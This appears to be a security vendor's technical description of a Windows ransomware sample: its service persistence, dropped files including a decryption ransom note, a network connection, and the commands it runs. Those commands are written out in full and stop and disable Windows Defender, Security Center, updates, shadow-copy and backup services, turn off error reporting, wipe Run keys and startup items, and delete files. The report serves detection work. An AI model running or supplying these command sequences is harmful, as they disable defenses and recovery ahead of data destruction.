Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\WinSamSs] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\WinSamSs] 'ImagePath' = '%WINDIR%\SysWOW64\lsassw86s.exe'
Creates the following services
- 'WinSamSs' %WINDIR%\SysWOW64\lsassw86s.exe
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
- Windows Security Center
- Windows Defender
Modifies file system
Creates the following files
- %WINDIR%\syswow64\lsassw86s.exe
- %WINDIR%\syswow64\wblsys32vt86exkdll.dll
- %WINDIR%\syswow64\btlogoffusrsmtv.bat
- %WINDIR%\syswow64\cfwin32.dll
- %WINDIR%\syswow64\decryptaesfiles.htm
- %WINDIR%\syswow64\default2.sfx
- %WINDIR%\syswow64\sdelete.dll
- %ALLUSERSPROFILE%\svcfnmainstvestvs\stppthmainfv.dll
- C:\04281242496\howtodecryptaesfiles.htm
- %ALLUSERSPROFILE%\04281242493\svchost.exe
- %ALLUSERSPROFILE%\04281242495\svchost.exe
- C:\04281242491\lsass86vl.exe
- %ALLUSERSPROFILE%\04281242494\04281242498.dlls
- %ALLUSERSPROFILE%\04281242494\04281242497.dlls
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\svcfnmainstvestvs\stppthmainfv.dll
- %ALLUSERSPROFILE%\04281242493\svchost.exe
- %ALLUSERSPROFILE%\04281242495\svchost.exe
- C:\04281242491\lsass86vl.exe
Deletes the following files
- C:\04281242496\howtodecryptaesfiles.htm
Network activity
Connects to
- '17#.#02.38.67':3120
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
- ClassName: '' WindowName: 'Default IME'
Creates and executes the following
- '%WINDIR%\syswow64\lsassw86s.exe' -i
- '%WINDIR%\syswow64\lsassw86s.exe'
- '%ALLUSERSPROFILE%\04281242495\svchost.exe' -p 20 -q "<SYSTEM32>\wblsys32vt86exkdll.dll" /accepteula
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "ShowUI" /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeShutdownErrs" /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeMicrosoftApps" /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeKernelFaults" /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "ForceQueueMode" /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "AllOrNone" /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "DoReport" /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "LoggingDisabled" /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DontSendAdditionalData" /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DisableQueue" /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DisableArchive" /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "LogEvent" /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "CrashDumpEnabled" /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c del "*.*" /f /q' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c del "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup\*.*" /f /q' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' delete HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /va /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' delete HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /va /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "ForceQueue" /t REG_DWORD /d 0 /f' (with hidden window)
- '%ALLUSERSPROFILE%\04281242495\svchost.exe' -p 20 -q "<SYSTEM32>\wblsys32vt86exkdll.dll" /accepteula' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\sc.exe' stop VSS
- '%WINDIR%\syswow64\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
- '%WINDIR%\syswow64\reg.exe' delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
- '%WINDIR%\syswow64\reg.exe' delete HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /va /f
- '%WINDIR%\syswow64\reg.exe' delete HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /va /f
- '%WINDIR%\syswow64\cmd.exe' /c del "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup\*.*" /f /q
- '%WINDIR%\syswow64\cmd.exe' /c del "*.*" /f /q
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "CrashDumpEnabled" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "LogEvent" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" /f
- '%WINDIR%\syswow64\sc.exe' stop SCVSSService
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DisableQueue" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "ForceQueue" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DontSendAdditionalData" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "LoggingDisabled" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "DoReport" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "AllOrNone" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "ForceQueueMode" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeKernelFaults" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeMicrosoftApps" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\sc.exe' stop WinDefend
- '%WINDIR%\syswow64\sc.exe' config WinDefend start= "disabled"
- '%WINDIR%\syswow64\sc.exe' config wscsvc start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop wscsvc
- '%WINDIR%\syswow64\sc.exe' config SCPolicySvc start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop RemoteRegistry
- '%WINDIR%\syswow64\sc.exe' config RemoteRegistry start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop winmgmt
- '%WINDIR%\syswow64\sc.exe' config winmgmt start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop wuauserv
- '%WINDIR%\syswow64\sc.exe' config wuauserv start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop SDRSVC
- '%WINDIR%\syswow64\sc.exe' config SDRSVC start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop MsMpSvc
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeShutdownErrs" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DisableArchive" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\sc.exe' config MsMpSvc start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop Acronis VSS Provider
- '%WINDIR%\syswow64\sc.exe' config Acronis VSS Provider start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop swprv
- '%WINDIR%\syswow64\sc.exe' config swprv start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop WerSvc
- '%WINDIR%\syswow64\sc.exe' config WerSvc start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop wercplsupport
- '%WINDIR%\syswow64\sc.exe' config wercplsupport start= "disabled"
- '%WINDIR%\syswow64\sc.exe' stop SCPolicySvc
- '%WINDIR%\syswow64\sc.exe' config VSS start= "disabled"
- '%WINDIR%\syswow64\sc.exe' config SCVSSService start= "disabled"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "ShowUI" /t REG_DWORD /d 0 /f